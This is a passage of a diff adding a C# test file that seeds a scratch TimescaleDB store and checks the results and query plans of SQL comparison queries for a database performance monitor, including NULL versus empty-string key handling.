+                GROUP BY query_hash, database_name
+                ORDER BY SUM(delta_execution_count) DESC
+                LIMIT 100
+            ),
+            top_hashes AS (
+                SELECT DISTINCT query_hash, database_name
+                FROM (
+                    SELECT * FROM top_current
+                    UNION ALL
+                    SELECT * FROM top_baseline
+                ) AS combined
+            ),
+            current_period AS (
+                SELECT th.database_name, th.query_hash,
+                       SUM(qs.delta_execution_count) AS exec_count,
+                       SUM(qs.delta_elapsed_time)::double precision / NULLIF(SUM(qs.delta_execution_count), 0) / 1000.0 AS avg_duration_ms,
+                       SUM(qs.delta_worker_time)::double precision / NULLIF(SUM(qs.delta_execution_count), 0) / 1000.0 AS avg_cpu_ms,
+                       SUM(qs.delta_physical_reads)::double precision / NULLIF(SUM(qs.delta_execution_count), 0) AS avg_reads,
+                       MAX(qs.query_text) AS query_text
+                FROM top_hashes th
+                INNER JOIN v_query_stats qs
+                  ON  qs.query_hash IS NOT DISTINCT FROM th.query_hash
+                  AND qs.database_name IS NOT DISTINCT FROM th.database_name
+                WHERE qs.server_id = $1
+                AND   qs.collection_time >= $2 AND qs.collection_time <= $3
+                AND   qs.delta_execution_count > 0
+                GROUP BY th.database_name, th.query_hash
+            ),
+            baseline_period AS (
+                SELECT th.database_name, th.query_hash,
+                       SUM(qs.delta_execution_count) AS exec_count,
+                       SUM(qs.delta_elapsed_time)::double precision / NULLIF(SUM(qs.delta_execution_count), 0) / 1000.0 AS avg_duration_ms,
+                       SUM(qs.delta_worker_time)::double precision / NULLIF(SUM(qs.delta_execution_count), 0) / 1000.0 AS avg_cpu_ms,
+                       SUM(qs.delta_physical_reads)::double precision / NULLIF(SUM(qs.delta_execution_count), 0) AS avg_reads,
+                       MAX(qs.query_text) AS query_text
+                FROM top_hashes th
+                INNER JOIN v_query_stats qs
+                  ON  qs.query_hash IS NOT DISTINCT FROM th.query_hash
+                  AND qs.database_name IS NOT DISTINCT FROM th.database_name
+                WHERE qs.server_id = $1
+                AND   qs.collection_time >= $4 AND qs.collection_time <= $5
+                AND   qs.delta_execution_count > 0
+                GROUP BY th.database_name, th.query_hash
+            )
+            SELECT COALESCE(c.database_name, b.database_name) AS database_name,
+                   COALESCE(c.query_hash, b.query_hash) AS query_hash,
+                   COALESCE(c.query_text, b.query_text) AS query_text,
+                   c.exec_count, c.avg_duration_ms, c.avg_cpu_ms, c.avg_reads,
+                   b.exec_count AS baseline_exec_count,
+                   b.avg_duration_ms AS baseline_avg_duration_ms,
+                   b.avg_cpu_ms AS baseline_avg_cpu_ms,
+                   b.avg_reads AS baseline_avg_reads
+            FROM current_period c
+            FULL OUTER JOIN baseline_period b
+              ON  COALESCE(c.database_name, '') = COALESCE(b.database_name, '')
+              AND COALESCE(c.query_hash, '') = COALESCE(b.query_hash, '')
+            """;
+
+    /// <summary>
+    /// <see cref="ViewerDataService.QueryStoreComparisonSql"/> as it stood before the #5420 review round, verbatim (oracle).
+    /// </summary>
+    private const string OldQueryStoreComparisonSql = """
+            WITH deduped_current AS (
+                /* LOAD-BEARING (correctness, not just perf) — #1841. The rows are CUMULATIVE per-interval
+                   snapshots and the collector re-fetches the OPEN interval every cycle, so the SAME interval
+                   (same first_execution_time) is stored repeatedly with a growing execution_count. Keep the
+                   LATEST snapshot per interval before aggregating.
+
+                   The execution-count weighting below does NOT rescue this on its own: the repeated snapshots
+                   of one interval carry DIFFERENT (growing) weights AND different avg_* values, so an open
+                   interval is weighted by the triangular sum of its own growth. That bias is stronger in the
+                   recent window than in the baseline window (recent windows hold more still-open intervals),
+                   which skews the very delta this comparison exists to compute. One deduped CTE per window,
+                   so both arms are treated identically. */
+                SELECT
+                    database_name,
+                    /* #2150: query_id is projected (it was already a partition key) so the period CTEs can
+                       resolve text from collect.query_store_text, which is keyed on it. */
+                    query_id,
+                    query_hash,
+                    query_text,
+                    execution_count,
+                    avg_duration_us,
+                    avg_cpu_time_us,
+                    avg_logical_io_reads,
+                    ROW_NUMBER() OVER
+                    (
+                        PARTITION BY database_name, query_id, plan_id, runtime_stats_interval_id, first_execution_time, execution_type_desc, replica_role
+                        ORDER BY collection_time DESC, execution_count DESC
+                    ) AS rn
+                FROM query_store_stats
+                WHERE server_id = $1
+                AND   collection_time >= $2 AND collection_time <= $3
+                AND   ($6::text[] IS NULL OR database_name = ANY($6))
+            ),
+            deduped_baseline AS (
+                SELECT
+                    database_name,
+                    /* #2150: query_id is projected (it was already a partition key) so the period CTEs can
+                       resolve text from collect.query_store_text, which is keyed on it. */
+                    query_id,
+                    query_hash,
+                    query_text,
+                    execution_count,
+                    avg_duration_us,
+                    avg_cpu_time_us,
+                    avg_logical_io_reads,
+                    ROW_NUMBER() OVER
+                    (
+                        PARTITION BY database_name, query_id, plan_id, runtime_stats_interval_id, first_execution_time, execution_type_desc, replica_role
+                        ORDER BY collection_time DESC, execution_count DESC
+                    ) AS rn
+                FROM query_store_stats
+                WHERE server_id = $1
+                AND   collection_time >= $4 AND collection_time <= $5
+                AND   ($6::text[] IS NULL OR database_name = ANY($6))
+            ),
+            top_current AS (
+                SELECT database_name, query_hash
+                FROM deduped_current
+                WHERE rn = 1
+                AND   execution_count > 0
+                GROUP BY database_name, query_hash
+                ORDER BY SUM(execution_count) DESC
+                LIMIT 100
+            ),
+            top_baseline AS (
+                SELECT database_name, query_hash
+                FROM deduped_baseline
+                WHERE rn = 1
+                AND   execution_count > 0
+                GROUP BY database_name, query_hash
+                ORDER BY SUM(execution_count) DESC
+                LIMIT 100
+            ),
+            top_hashes AS (
+                SELECT DISTINCT database_name, query_hash
+                FROM (
+                    SELECT * FROM top_current
+                    UNION ALL
+                    SELECT * FROM top_baseline
+                ) AS combined
+            ),
+            current_period AS (
+                SELECT th.database_name, th.query_hash,
+                       SUM(qs.execution_count) AS exec_count,
+                       SUM(qs.execution_count * qs.avg_duration_us::double precision) / NULLIF(SUM(qs.execution_count), 0) / 1000.0 AS avg_duration_ms,
+                       SUM(qs.execution_count * qs.avg_cpu_time_us::double precision) / NULLIF(SUM(qs.execution_count), 0) / 1000.0 AS avg_cpu_ms,
+                       SUM(qs.execution_count * qs.avg_logical_io_reads::double precision) / NULLIF(SUM(qs.execution_count), 0) AS avg_reads,
+                       /* #2150: this comparison groups by query_hash, but text is stored per query_id, so the
+                          side table is joined on the finer key and MAX still picks one member's text for the
+                          group — the same arbitrary-but-deterministic choice MAX(qs.query_text) made before.
+                          The join cannot fan out (query_store_text is one row per server/database/query_id, by
+                          primary key), so the execution-count SUMs above are unaffected. The COALESCE keeps
+                          pre-cutover rows, whose text is still inline, reading exactly as they used to. */
+                       MAX(COALESCE(x.query_sql_text, qs.query_text)) AS query_text
+                FROM top_hashes th
+                INNER JOIN deduped_current qs
+                  ON  qs.query_hash IS NOT DISTINCT FROM th.query_hash
+                  AND qs.database_name IS NOT DISTINCT FROM th.database_name
+                LEFT JOIN query_store_text AS x
+                  ON  x.server_id = $1
+                  AND x.database_name = qs.database_name
+                  AND x.query_id = qs.query_id
+                WHERE qs.rn = 1
+                AND   qs.execution_count > 0
+                GROUP BY th.database_name, th.query_hash
+            ),
+            baseline_period AS (
+                SELECT th.database_name, th.query_hash,
+                       SUM(qs.execution_count) AS exec_count,
+                       SUM(qs.execution_count * qs.avg_duration_us::double precision) / NULLIF(SUM(qs.execution_count), 0) / 1000.0 AS avg_duration_ms,
+                       SUM(qs.execution_count * qs.avg_cpu_time_us::double precision) / NULLIF(SUM(qs.execution_count), 0) / 1000.0 AS avg_cpu_ms,
+                       SUM(qs.execution_count * qs.avg_logical_io_reads::double precision) / NULLIF(SUM(qs.execution_count), 0) AS avg_reads,
+                       /* #2150 — same resolution as current_period above. Both arms need it because the final
+                          projection takes COALESCE(c.query_text, b.query_text): converting only one arm would
+                          leave a GONE row (present in baseline only) with no text to fall back to. */
+                       MAX(COALESCE(x.query_sql_text, qs.query_text)) AS query_text
+                FROM top_hashes th
+                INNER JOIN deduped_baseline qs
+                  ON  qs.query_hash IS NOT DISTINCT FROM th.query_hash
+                  AND qs.database_name IS NOT DISTINCT FROM th.database_name
+                LEFT JOIN query_store_text AS x
+                  ON  x.server_id = $1
+                  AND x.database_name = qs.database_name
+                  AND x.query_id = qs.query_id
+                WHERE qs.rn = 1
+                AND   qs.execution_count > 0
+                GROUP BY th.database_name, th.query_hash
+            )
+            SELECT COALESCE(c.database_name, b.database_name) AS database_name,
+                   COALESCE(c.query_hash, b.query_hash) AS query_hash,
+                   COALESCE(c.query_text, b.query_text) AS query_text,
+                   c.exec_count, c.avg_duration_ms, c.avg_cpu_ms, c.avg_reads,
+                   b.exec_count AS baseline_exec_count,
+                   b.avg_duration_ms AS baseline_avg_duration_ms,
+                   b.avg_cpu_ms AS baseline_avg_cpu_ms,
+                   b.avg_reads AS baseline_avg_reads
+            FROM current_period c
+            FULL OUTER JOIN baseline_period b
+              ON  COALESCE(c.database_name, '') = COALESCE(b.database_name, '')
+              AND COALESCE(c.query_hash, '') = COALESCE(b.query_hash, '')
+            """;
+
+    /// <summary>
+    /// <c>query_stats</c> for the Top Queries comparison twin: 130 hashes, one row every 2 hours for 12 days, with every delta
+    /// column set so the averages are real numbers. NULL parts: the database of every 25th, the hash of every 40th and of 125
+    /// (so 125 is NULL on both keys, and 40, 80 and 120 merge into one NULL-hash group). Empty-string keys beside them, each against a NULL it must stay apart from: 48
+    /// is the one empty hash, in the database that the heavy NULL-hash group (40, 80, 120) sits in, and 127 is the one empty
+    /// database while 51 is a NULL database on its hash. 48 and 51 carry one execution per row, so they never make the top 100 and a
+    /// join that merged a NULL key with an empty one would fan the heavy row out; 100-109 only before the current window
+    /// (GONE) and 110-119 only inside it (NEW). 100 hashes cannot hold all of them, so the top-100 cut trims each period.
+    /// </summary>
+    private const string QueryStatsTwinSeedSql = @"
+INSERT INTO collect.query_stats
+(collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle, query_text,
+ delta_execution_count, delta_worker_time, delta_elapsed_time, delta_physical_reads)
+SELECT 3000000 + row_number() OVER ()::bigint, g.t, 5420, 'srv',
+       CASE WHEN p % 25 = 0 OR p = 51 THEN NULL WHEN p = 127 THEN '' ELSE 'db' || (p % 4) END,
+       CASE WHEN p % 40 = 0 OR p = 125 THEN NULL WHEN p = 48 THEN '' WHEN p = 51 THEN '0xQ127' ELSE '0xQ' || p END,
+       '0xT' || p, 'SELECT ' || p || ' /* ' || to_char(g.t, 'YYYY-MM-DD HH24:MI') || ' */',
+       CASE WHEN p IN (48, 51) THEN 1
+            WHEN (p + extract(epoch FROM g.t)::bigint / 7200) % 7 = 0 THEN 0
+            ELSE (CASE WHEN p <= 10 OR p % 25 = 0 OR p % 40 = 0 OR p >= 100 THEN 1000 ELSE 1 END)
+                 * (1 + (p * 31 + extract(epoch FROM g.t)::bigint / 7200) % 50) END,
+       1000 + (p * 7919) % 90000 + (extract(epoch FROM g.t)::bigint / 7200) % 13,
+       2000 + (p * 104729) % 90000 + (extract(epoch FROM g.t)::bigint / 7200) % 17,
+       (p * 3 + extract(epoch FROM g.t)::bigint / 7200) % 97
+FROM generate_series(1, 130) AS p
+CROSS JOIN generate_series(TIMESTAMP '2026-02-08 12:00:00', TIMESTAMP '2026-02-20 12:00:00', INTERVAL '2 hours') AS g(t)
+WHERE NOT (p BETWEEN 100 AND 109 AND g.t >= TIMESTAMP '2026-02-19 12:00:00')
+AND   NOT (p BETWEEN 110 AND 119 AND g.t <= TIMESTAMP '2026-02-19 12:00:00');";
+
+    /// <summary>
+    /// <c>query_store_stats</c> for the Query Store comparison twin: 130 queries, one snapshot an hour with two snapshots per
+    /// 2-hour interval (so the dedupe keeps the later one), the same NULL, empty-string (47: the one empty hash, in the database the NULL-hash group 80 sits in; 127: the one
+    /// empty database, 51 is a NULL database on its hash; 47 and 51 never make the top 100) and GONE/NEW shapes as the Top Queries seed, and a
+    /// <c>query_store_text</c> row for every query whose inline text is NULL (q divisible by 3, outside the NULL-database ones).
+    /// </summary>
+    private const string QueryStoreTwinSeedSql = @"
+INSERT INTO collect.query_store_text (server_id, database_name, query_id, query_sql_text, last_seen)
+SELECT 5420, 'db' || (q % 3), q, 'SELECT ' || q || ' /* side table */', TIMESTAMP '2026-02-20 12:00:00'
+FROM generate_series(1, 130) AS q
+WHERE q % 3 = 0 AND q % 25 <> 0;
+INSERT INTO collect.query_store_stats
+(collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id, execution_type_desc, first_execution_time,
+ last_execution_time, query_text, query_hash, execution_count, avg_duration_us, avg_cpu_time_us, avg_logical_io_reads,
+ avg_logical_io_writes, avg_physical_io_reads, avg_rowcount, query_plan_hash, runtime_stats_interval_id)
+SELECT 4000000 + row_number() OVER ()::bigint, g.t, 5420, 'srv',
+       CASE WHEN q % 25 = 0 OR q = 51 THEN NULL WHEN q = 127 THEN '' ELSE 'db' || (q % 3) END, q, q, 'Regular',
+       date_bin(INTERVAL '2 hours', g.t, TIMESTAMP '2026-02-08 12:00:00'), g.t,
+       CASE WHEN q % 3 = 0 THEN NULL ELSE 'SELECT ' || q || ' /* inline */' END,
+       CASE WHEN q % 40 = 0 OR q = 125 THEN NULL WHEN q = 47 THEN '' WHEN q = 51 THEN 'h127' ELSE 'h' || q END,
+       CASE WHEN q IN (47, 51) THEN 1
+            WHEN (q + extract(epoch FROM g.t)::bigint / 3600) % 7 = 0 THEN 0
+            ELSE (CASE WHEN q <= 10 OR q % 25 = 0 OR q % 40 = 0 OR q >= 100 THEN 1000 ELSE 1 END)
+                 * (1 + (q * 31 + extract(epoch FROM g.t)::bigint / 3600) % 50) END,
+       1000 + (q * 7919) % 90000 + (extract(epoch FROM g.t)::bigint / 3600) % 13,
+       2000 + (q * 104729) % 90000 + (extract(epoch FROM g.t)::bigint / 3600) % 17,
+       (q * 3 + extract(epoch FROM g.t)::bigint / 3600) % 97, 5, 5, 5, 'ph' || q,
+       q * 100000 + (extract(epoch FROM g.t)::bigint / 7200)
+FROM generate_series(1, 130) AS q
+CROSS JOIN generate_series(TIMESTAMP '2026-02-08 12:00:00', TIMESTAMP '2026-02-20 12:00:00', INTERVAL '1 hour') AS g(t)
+WHERE NOT (q BETWEEN 100 AND 109 AND g.t >= TIMESTAMP '2026-02-19 12:00:00')
+AND   NOT (q BETWEEN 110 AND 119 AND g.t <= TIMESTAMP '2026-02-19 12:00:00');";
+
+    /// <summary>
+    /// Two procedures whose statements share one instant: each handle has two <c>query_stats</c> rows at 11:00 on the last day
+    /// with different collection ids and texts. The first procedure's rows go in lower id first, the second's higher id first,
+    /// so no heap order picks the higher id for both.
+    /// </summary>
+    private const string TieSeedSql = @"
+INSERT INTO collect.procedure_stats
+(collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+ delta_execution_count, delta_worker_time, delta_elapsed_time, delta_physical_reads)
+VALUES (9000001, TIMESTAMP '2026-02-20 11:00:00', 5420, 'srv', 'db1', 'dbo', 'proc_tie_a', '0xHTIEA', 500000, 1, 1, 1),
+       (9000002, TIMESTAMP '2026-02-20 11:00:00', 5420, 'srv', 'db1', 'dbo', 'proc_tie_b', '0xHTIEB', 500000, 1, 1, 1);
+INSERT INTO collect.query_stats
+(collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle, query_text, delta_execution_count)
+VALUES (9100001, TIMESTAMP '2026-02-20 11:00:00', 5420, 'srv', 'db1', '0xQTIEA1', '0xHTIEA', 'tie A: the lower collection id', 1),
+       (9100002, TIMESTAMP '2026-02-20 11:00:00', 5420, 'srv', 'db1', '0xQTIEA2', '0xHTIEA', 'tie A: the higher collection id', 1),
+       (9100004, TIMESTAMP '2026-02-20 11:00:00', 5420, 'srv', 'db1', '0xQTIEB2', '0xHTIEB', 'tie B: the higher collection id', 1),
+       (9100003, TIMESTAMP '2026-02-20 11:00:00', 5420, 'srv', 'db1', '0xQTIEB1', '0xHTIEB', 'tie B: the lower collection id', 1);";
+
+    /// <summary>
+    /// 202 procedures, one row per hour for 12 days. Keys with NULL parts (database NULL for every 50th, schema for every
+    /// 40th, object for every 60th), two keys that differ only by an empty-string versus NULL object (201, 202), procedures
+    /// 150-159 present only before the current window (GONE) and 160-169 only inside it (NEW). The ones the facts care about
+    /// carry large counts so they rank inside each period's top 100.
+    /// </summary>
+    private const string ProcedureSeedSql = @"
+INSERT INTO collect.procedure_stats
+(collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+ delta_execution_count, delta_worker_time, delta_elapsed_time, delta_physical_reads)
+SELECT row_number() OVER ()::bigint, g.t, 5420, 'srv',
+       CASE WHEN p % 50 = 0 THEN NULL ELSE 'db' || (p % 4) END,
+       CASE WHEN p % 40 = 0 THEN NULL ELSE 'dbo' END,
+       CASE WHEN p = 201 THEN '' WHEN p = 202 OR p % 60 = 0 THEN NULL ELSE 'proc_' || p END,
+       '0xH' || p,
+       CASE WHEN (p + extract(epoch FROM g.t)::bigint / 3600) % 7 = 0 THEN 0
+            ELSE (CASE WHEN p <= 10 OR p % 50 = 0 OR p % 40 = 0 OR p % 60 = 0 OR p >= 150 THEN 1000 ELSE 1 END)
+                 * (1 + (p * 31 + extract(epoch FROM g.t)::bigint / 3600) % 50) END,
+       1000 + (p * 7919) % 90000 + (extract(epoch FROM g.t)::bigint / 3600) % 13,
+       2000 + (p * 104729) % 90000 + (extract(epoch FROM g.t)::bigint / 3600) % 17,
+       (p * 3 + extract(epoch FROM g.t)::bigint / 3600) % 97
+FROM generate_series(1, 202) AS p
+CROSS JOIN generate_series(TIMESTAMP '2026-02-08 12:00:00', TIMESTAMP '2026-02-20 12:00:00', INTERVAL '1 hour') AS g(t)
+WHERE NOT (p BETWEEN 150 AND 159 AND g.t >= TIMESTAMP '2026-02-19 12:00:00')
+AND   NOT (p BETWEEN 160 AND 169 AND g.t <= TIMESTAMP '2026-02-19 12:00:00');";
+
+    /// <summary>
+    /// <c>query_stats</c>, one row per handle every 2 hours, the text different on every row so the newest pick matters, and
+    /// never two rows of one handle on one instant (a tie on the time is arbitrary in both statements). Handles 1-5 carry text
+    /// only older than 3 days (before the 48 h window) and NULL-text rows inside it; 6-10 carry no inline text but a digest that
+    /// resolves through <c>query_text_dim</c> (the #1767 payload dimension); 11-160 carry text throughout; 161-180 only NULL
+    /// text; 181+ have no row at all.
+    /// </summary>
+    private const string QueryStatsSeedSql = @"
+INSERT INTO collect.query_text_dim (digest, query_text, last_seen)
+SELECT decode(md5('dim' || p), 'hex'), 'SELECT ' || p || ' /* from the payload dimension */', TIMESTAMP '2026-02-20 12:00:00'
+FROM generate_series(6, 10) AS p;
+INSERT INTO collect.query_stats
+(collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle, query_text, query_text_digest, delta_execution_count)
+SELECT 1000000 + row_number() OVER ()::bigint, g.t, 5420, 'srv', 'db' || (p % 4), '0xQ' || p, '0xH' || p,
+       CASE WHEN p <= 5 THEN CASE WHEN g.t < TIMESTAMP '2026-02-17 12:00:00' THEN 'SELECT ' || p || ' /* only before the window */' END
+            WHEN p BETWEEN 6 AND 10 THEN NULL
+            WHEN p <= 160 THEN 'SELECT ' || p || ' /* ' || to_char(g.t, 'YYYY-MM-DD HH24:MI') || ' */'
+            ELSE NULL END,
+       CASE WHEN p BETWEEN 6 AND 10 THEN decode(md5('dim' || p), 'hex') END,
+       1
+FROM generate_series(1, 180) AS p
+CROSS JOIN generate_series(TIMESTAMP '2026-02-08 12:00:00', TIMESTAMP '2026-02-20 12:00:00', INTERVAL '2 hours') AS g(t);";
+
+    /// <summary>
+    /// <c>query_store_stats</c>: 60 queries, one raw row per hour for 12 days, each its own interval so none dedupes. 1-30 carry
+    /// text on every row (different each time); 31-40 only older than the 48 h window; 41-60 none anywhere. No
+    /// <c>query_store_text</c> row exists, so every candidate takes the inline-text fallback.
+    /// </summary>
+    private const string QueryStoreSeedSql = @"
+INSERT INTO collect.query_store_stats
+(collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id, execution_type_desc, first_execution_time,
+ last_execution_time, query_text, query_hash, execution_count, avg_duration_us, avg_cpu_time_us, avg_logical_io_reads,
+ avg_logical_io_writes, avg_physical_io_reads, avg_rowcount, query_plan_hash, runtime_stats_interval_id)
+SELECT 2000000 + row_number() OVER ()::bigint, g.t, 5420, 'srv', 'db' || (q % 3), q, q, 'Regular', g.t - INTERVAL '10 minutes',
+       g.t,
+       CASE WHEN q <= 30 THEN 'SELECT ' || q || ' /* ' || to_char(g.t, 'YYYY-MM-DD HH24:MI') || ' */'
+            WHEN q <= 40 THEN CASE WHEN g.t < TIMESTAMP '2026-02-18 12:00:00' THEN 'SELECT ' || q || ' /* only before the window */' END
+            ELSE NULL END,
+       'h' || q, 10 + q, 1000 + q * 37, 500 + q, 5, 5, 5, 5, 'ph' || q,
+       q * 100000 + (extract(epoch FROM g.t)::bigint / 3600)
+FROM generate_series(1, 60) AS q
+CROSS JOIN generate_series(TIMESTAMP '2026-02-08 12:00:00', TIMESTAMP '2026-02-20 12:00:00', INTERVAL '1 hour') AS g(t);";
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        command.CommandTimeout = 120;
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>
+    /// Six groups per twin, each pair a NULL key beside the empty-string key it must stay apart from, all heavy enough to make the
+    /// top 100 in BOTH windows (one row each at 06:00 of the baseline day and of the current day; the counts are 100 to 600 in
+    /// the current window and a tenth of that in the baseline). The outer FULL JOIN that merged a NULL key with an empty one
+    /// would fan a row out here (#5420).
+    /// </summary>
+    private const string QueryStatsNullEmptySeedSql = @"
+INSERT INTO collect.query_stats
+(collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle, query_text, delta_execution_count,
+ delta_worker_time, delta_elapsed_time, delta_physical_reads)
+SELECT 7000000 + row_number() OVER ()::bigint, g.t, 5420, 'srv', v.db, v.h, '0xN' || v.n, 'SELECT ' || v.n,
+       CASE WHEN g.cur THEN v.cur_exec ELSE v.cur_exec / 10 END, 1000, 2000, 3
+FROM (VALUES (1, 'dbA'::text, NULL::text, 100), (2, 'dbA', '', 200), (3, NULL, 'hC', 300), (4, '', 'hC', 400),
+             (5, NULL, NULL, 500), (6, '', '', 600)) AS v(n, db, h, cur_exec)
+CROSS JOIN (VALUES (TIMESTAMP '2026-02-20 06:00:00', true), (TIMESTAMP '2026-02-19 06:00:00', false)) AS g(t, cur);";
+
+    /// <summary>The same six NULL-versus-empty groups as <see cref="QueryStatsNullEmptySeedSql"/>, in <c>query_store_stats</c>.</summary>
+    private const string QueryStoreNullEmptySeedSql = @"
+INSERT INTO collect.query_store_stats
+(collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id, execution_type_desc, first_execution_time,
+ last_execution_time, query_text, query_hash, execution_count, avg_duration_us, avg_cpu_time_us, avg_logical_io_reads,
+ avg_logical_io_writes, avg_physical_io_reads, avg_rowcount, query_plan_hash, runtime_stats_interval_id)
+SELECT 7000000 + row_number() OVER ()::bigint, g.t, 5420, 'srv', v.db, v.n, v.n, 'Regular', g.t, g.t, 'SELECT ' || v.n, v.h,
+       CASE WHEN g.cur THEN v.cur_exec ELSE v.cur_exec / 10 END, 1000, 2000, 3, 5, 5, 5, 'ph' || v.n,
+       v.n * 100000 + g.cur::int
+FROM (VALUES (1, 'dbA'::text, NULL::text, 100), (2, 'dbA', '', 200), (3, NULL, 'hC', 300), (4, '', 'hC', 400),
+             (5, NULL, NULL, 500), (6, '', '', 600)) AS v(n, db, h, cur_exec)
+CROSS JOIN (VALUES (TIMESTAMP '2026-02-20 06:00:00', true), (TIMESTAMP '2026-02-19 06:00:00', false)) AS g(t, cur);";
+
+    /// <summary>Six procedures in <c>procedure_stats</c>, a NULL part beside the empty-string one in each of the three key columns.</summary>
+    private const string ProcedureNullEmptySeedSql = @"
+INSERT INTO collect.procedure_stats
+(collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+ delta_execution_count, delta_worker_time, delta_elapsed_time, delta_physical_reads)
+SELECT 7000000 + row_number() OVER ()::bigint, g.t, 5420, 'srv', v.db, v.sch, v.obj, '0xN' || v.n,
+       CASE WHEN g.cur THEN v.cur_exec ELSE v.cur_exec / 10 END, 1000, 2000, 3
+FROM (VALUES (1, 'dbA'::text, 'dbo'::text, NULL::text, 100), (2, 'dbA', 'dbo', '', 200), (3, NULL, 'dbo', 'pX', 300),
+             (4, '', 'dbo', 'pX', 400), (5, 'dbA', NULL, 'pX', 500), (6, 'dbA', '', 'pX', 600)) AS v(n, db, sch, obj, cur_exec)
+CROSS JOIN (VALUES (TIMESTAMP '2026-02-20 06:00:00', true), (TIMESTAMP '2026-02-19 06:00:00', false)) AS g(t, cur);";
+
+    /// <summary>Migrates a scratch store, converts the collector tables to hypertables BEFORE any row lands (so the
+    /// seed creates real 1-day chunks), runs the seeds and hands the body a connection.</summary>
+    private static async Task RunLiveAsync(string[] seeds, Func<NpgsqlConnection, CancellationToken, Task> body)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        Assert.True(await LiveTimescaleProbe.TryEnableAsync(scratch.ConnectionString, ct), "the scratch store needs TimescaleDB for the chunked shape");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, NullLogger.Instance, ct);
+        await ExecAsync(connection, "SELECT _timescaledb_functions.stop_background_workers()", ct);   /* no policy job reshapes the chunks under a plan assertion */
+        var bodySucceeded = false;
+        try
+        {
+            foreach (var seed in seeds)
+            {
+                await ExecAsync(connection, seed, ct);
+            }
+
+            await ExecAsync(connection, "ANALYZE collect.procedure_stats; ANALYZE collect.query_stats; ANALYZE collect.query_store_stats;", ct);
+            await body(connection, ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /* ───────────────────────────── plan helpers ───────────────────────────── */
+
+    private static NpgsqlParameter Timestamp(DateTime value) =>
+        new NpgsqlParameter<DateTime> { TypedValue = value, NpgsqlDbType = NpgsqlDbType.Timestamp };
+
+    private static void AddComparisonParameters(NpgsqlCommand command) =>
+        BindComparison(command, BaselineStart, CurrentStart, DatabaseFilter.All);
+
+    /// <summary>The comparison's six parameters: the last 24 h as the current window, <paramref name="baselineStart"/> to
+    /// <paramref name="baselineEnd"/> as the baseline, and <paramref name="filter"/> as the database filter.</summary>
+    private static void BindComparison(NpgsqlCommand command, DateTime baselineStart, DateTime baselineEnd, DatabaseFilter filter)
+    {
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = ServerId });
+        command.Parameters.Add(Timestamp(CurrentStart));
+        command.Parameters.Add(Timestamp(End));
+        command.Parameters.Add(Timestamp(baselineStart));
+        command.Parameters.Add(Timestamp(baselineEnd));
+        command.Parameters.Add(filter.Parameter());
+    }
+
+    /// <summary>EXPLAIN (ANALYZE, FORMAT JSON) of <paramref name="sql"/> with the parameters <paramref name="bind"/> adds.</summary>
+    private static async Task<JsonElement> ExplainAsync(NpgsqlConnection connection, string sql, Action<NpgsqlCommand> bind, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand("EXPLAIN (ANALYZE, FORMAT JSON) " + sql, connection);
+        command.CommandTimeout = 120;
+        bind(command);
+        var json = (string)(await command.ExecuteScalarAsync(ct))!;
+        return JsonDocument.Parse(json).RootElement[0].GetProperty("Plan");
+    }
+
+    private static IEnumerable<JsonElement> Nodes(JsonElement node)
+    {
+        yield return node;
+        if (node.TryGetProperty("Plans", out var children))
+        {
+            foreach (var child in children.EnumerateArray())
+            {
+                foreach (var descendant in Nodes(child))
+                {
+                    yield return descendant;
+                }
+            }
+        }
+    }
+
+    private static string Text(JsonElement node, string property) =>
+        node.TryGetProperty(property, out var value) && value.ValueKind == JsonValueKind.String ? value.GetString()! : "";
+
+    private static async Task<HashSet<string>> ChunkNamesAsync(NpgsqlConnection connection, string table, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand("SELECT chunk_name FROM timescaledb_information.chunks WHERE hypertable_schema = 'collect' AND hypertable_name = @t", connection);
+        command.Parameters.AddWithValue("t", table);
+        var names = new HashSet<string>(StringComparer.Ordinal);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            names.Add(reader.GetString(0));
+        }
+
+        return names;
+    }
+
+    /// <summary>The distinct chunks of <paramref name="table"/> the plan actually read (a node that never ran has 0 loops).</summary>
+    private static async Task<(int Scanned, int Total)> ChunksReadAsync(NpgsqlConnection connection, JsonElement plan, string table, CancellationToken ct)
+    {
+        var chunks = await ChunkNamesAsync(connection, table, ct);
+        var read = Nodes(plan)
+            .Where(n => chunks.Contains(Text(n, "Relation Name")) && n.TryGetProperty("Actual Loops", out var loops) && loops.GetDouble() > 0)
+            .Select(n => Text(n, "Relation Name"))
+            .ToHashSet(StringComparer.Ordinal);
+        return (read.Count, chunks.Count);
+    }
+
+    /* ───────────────────────────── the procedure comparison ───────────────────────────── */
+
+    private static Task<SortedDictionary<string, string[]>> RunComparisonAsync(NpgsqlConnection connection, string sql, CancellationToken ct) =>
+        RunKeyedAsync(connection, sql, AddComparisonParameters, 3, ct);
+
+    /// <summary>Every row of <paramref name="sql"/> as text cells (doubles by their exact bits), keyed on the first
+    /// <paramref name="keyColumns"/> columns.</summary>
+    private static async Task<SortedDictionary<string, string[]>> RunKeyedAsync(
